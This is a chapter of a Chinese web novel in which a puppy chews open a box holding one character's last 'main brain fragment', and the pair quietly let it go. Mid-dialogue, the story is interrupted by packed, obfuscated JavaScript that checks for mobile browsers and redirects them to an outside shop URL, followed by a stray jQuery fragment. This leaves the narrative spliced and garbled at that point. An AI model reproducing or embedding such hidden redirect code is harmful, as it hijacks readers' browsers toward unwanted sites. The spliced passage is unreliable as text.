饼饼第一次闯祸是在一个周二的下午。

    沈渡正在书房开视频会议。他戴着耳机,面前的笔记本屏幕上显示着工作室项目的进度表,对面的人在讲下一阶段的数值调整方向。沈渡一边听一边在笔记本上做记录,偶尔开口简短回应两句。他听到客厅方向传来一些细微的动静——像是纸张被拨弄的声音,以及某种细小的咀嚼声——但没有太在意。饼饼这两天对茶几下层那个抽屉产生了兴趣,总会用爪子扒拉它,扒开一条缝然后往里张望,沈渡之前看过,里面没放什么重要东西,也就由着它去了。

    会议又持续了大概十五分钟。沈渡摘下耳机合上笔记本的时候,客厅里安静得有点异常。他站起来推开书房门往外走,饼饼不在沙发上,不在窗台上,也不在它常趴的那片地板阳光下。他往客厅走了几步,然后停了下来。

    茶几下层那个抽屉被打开了。抽屉边缘留着一排整齐的小牙印。抽屉里面原本放着几样杂物——旧遥控器、两本不再翻阅的杂志、几根不常用的充电线,以及陆烬从以前那个住处带回来的一个硬质小盒子。盒子不大,黑色塑料材质,表面有一道细长的裂纹。沈渡之前见过这个盒子,陆烬从旧公寓搬过来的时候把它放在行李箱夹层里,到了新住处之后搁进了茶几抽屉,没再动过。

    此刻那个黑色小盒子被叼了出来,搁在地板中央。盒盖被咬开了,边缘有一圈湿漉漉的齿痕。盒子里面空掉了——原本装在里面的一块东西不见了,只剩一小片碎裂的黑色残渣散落在盒底。沈渡弯腰捡起盒子,翻过来看了一眼底部。盒底贴着一张小标签,上面写着一串数字,是陆烬的字迹。

    沈渡直起身,环顾客厅。饼饼不在视线范围内。他往阳台方向走了几步,拉开推拉门。午后的阳光从外面涌进来,在地面上铺开一整片暖洋洋的光域。饼饼蹲在阳台角落里,背对着沈渡,圆脑袋低垂着,两只前爪之间夹着一样东西。

    沈渡走近了两步,蹲下来。饼饼听到他的动静,耳朵贴平了,但没有回头。它的两只前爪之间夹着的是一块不规则的碎片——深灰色,边缘有两道细长的金色纹路,像被什么东西从中间劈开过。其中一角有明显的咬痕,边缘的缺口参差不齐,像被反复啃过几轮。

    沈渡在它旁边蹲下来,没有立刻伸手去拿那块碎片。他先看了一眼饼饼的嘴——它的嘴角粘着一小片深灰色的碎屑,像不小心蹭上去的。饼饼的耳朵又往下压了压,尾巴夹在两腿之间,整个身体缩成一小团。

    "饼饼。"沈渡叫了一声。

    饼饼没有抬头。它的前爪微微收紧了一点,把那块碎片往自己怀里拢了拢,像在藏一件已经犯了错的证据。

    沈渡伸出手,轻轻碰了一下它的耳背。饼饼的耳朵抖了抖,但没有躲开。他又碰了一下,力道很轻,顺着毛发生长的方向慢慢捋了一遍。饼饼的身体在他掌心底下微微松动了一点,尾巴从夹着的状态松开来,尾尖在地面上极轻地扫了一下。

    "给我看看。"沈渡说。

    饼饼犹豫了一下,然后慢慢松开前爪。沈渡把那块碎片拿起来,翻看了一下。碎片上的金色纹路在光照下微微反光,触感比塑料凉一些,边缘被他咬出的缺口参差不齐,但不像是脆性断裂,更像某种有韧性的材质被反复磨咬之后留下的痕迹。

    沈渡拿着那块碎片走回客厅。饼饼跟在他脚边,耳朵还贴平着,尾巴垂着,走得比平时慢。沈渡把碎片放在茶几上,在沙发边缘坐下来。饼饼在他脚边蹲下来,把下巴搁在他的拖鞋上,抬眼看他。

    陆烬回来的时候,沈渡正坐在沙发上翻一本旧杂志。饼饼蹲在他脚边,两只前爪并拢,姿态端正得不像一只狗——像一个小学生被叫到办公室门口站着等老师。陆烬换鞋的时候看了一眼蹲得异常整齐的饼饼,又看了一眼坐在沙发上的沈渡,然后视线落在茶几上那块被摆正了的深灰色碎片上。

    他走过去,拿起那块碎片看了看。他的表情没什么变化,看了大概两秒,把它放回茶几上,然后去厨房洗手。水声持续了一小会儿,他关了水龙头,擦干手走出来,在沈渡旁边的沙发上坐下。饼饼从沈渡脚边挪到两个人中间的地板上,蹲坐下来,仰头看着陆烬,耳朵贴得比之前更平。

    "它咬的?"陆烬问。

    "嗯。"沈渡合上杂志,"它把抽屉翻开了,把盒子叼出来了,啃了一下午。"

    陆烬低头看那块碎片。他的手指伸过去,碰了一下边缘那道新的咬痕,然后收回手。他的声音很平,平到听不出任何情绪的起伏:"那个不用了。"

    饼饼的耳朵动了一下。

    "里面是什么?"沈渡问。

    "主脑碎片的最后一点残片。"陆烬说,语气和说"今天天气还行

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17909747|213090||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    "差不多,"我搬过来的时候把它留着了,但没想过处理它。它留在抽屉里,我一直没动。"

    沈渡看着他。"那现在呢?"

    陆烬低头看了一眼饼饼。饼饼仰着头看他,耳朵比刚才稍稍抬起了一些,尾巴在地板上轻轻动了一下。陆烬伸出手——动作很慢——掌心朝上,摊开在饼饼面前。饼饼凑过去闻了闻他的掌心,然后把自己的下巴搁了上去。

    陆烬的拇指在它的下巴上轻轻蹭了一下。"现在就不用处理了。"

    沈渡靠在沙发靠背上,偏头看着旁边这一幕。客厅的光线从窗户斜着落进来,在两人一狗之间铺成一层均匀的暖色。他收回目光,低头翻了一页膝上的杂志,翻了两秒又合上了。

    "那你以后没有碎片了。"

    "没有了。"

    "那你还记得吗?"

    陆烬偏过头来看着他。沈渡的手搭在杂志封面上,目光落在前方墙壁的某一点上,没有看他。陆烬看了他几秒,然后转回头,低头看着掌心里那只金色的下巴。"记得。"

    "记得什么?"

    "记得第一次读到你的数据。"陆烬的声音不高不低,尾音没提也没落,"从七秒开始,一直到昨天下午。每一秒都记得。"

    饼饼在他掌心里打了个哈欠,尾巴开始在木地板上慢慢摇动起来。沈渡的手指在杂志封面上停了一会儿,然后他把杂志放在沙发扶手上,站起来,往厨房走去。经过茶几的时候他停了一步,低头看了一眼那块碎片。他没有碰它,但他停了一瞬,然后继续走向厨房。

    "晚上煮面吧。"他背对着客厅说。

    陆烬坐在沙发上,低头看着掌心里的饼饼。饼饼已经把自己整个下巴交给了他的手心,尾巴在地上摇得像一把缓和的扇子。他抬起头,看向厨房方向。沈渡正站在灶台前,拧开水龙头,往烧水壶里接水。动作自然、熟练。

    "行。"陆烬说。

    窗外的光线正在一点点变软,从午后的通透过渡到傍晚的温醇。客厅的茶几上,那块深灰色的碎片被搁在边缘,边缘的咬痕在光线里显出一层浅淡的金色。但它的颜色比之前淡了一些——像那些细碎的金色纹路正在慢慢地、不可察觉地变浅,一点一点溶进它所处的这片午后阳光里。

    饼饼在陆烬掌心里翻了个身,四脚朝天,露出浅金色的肚皮。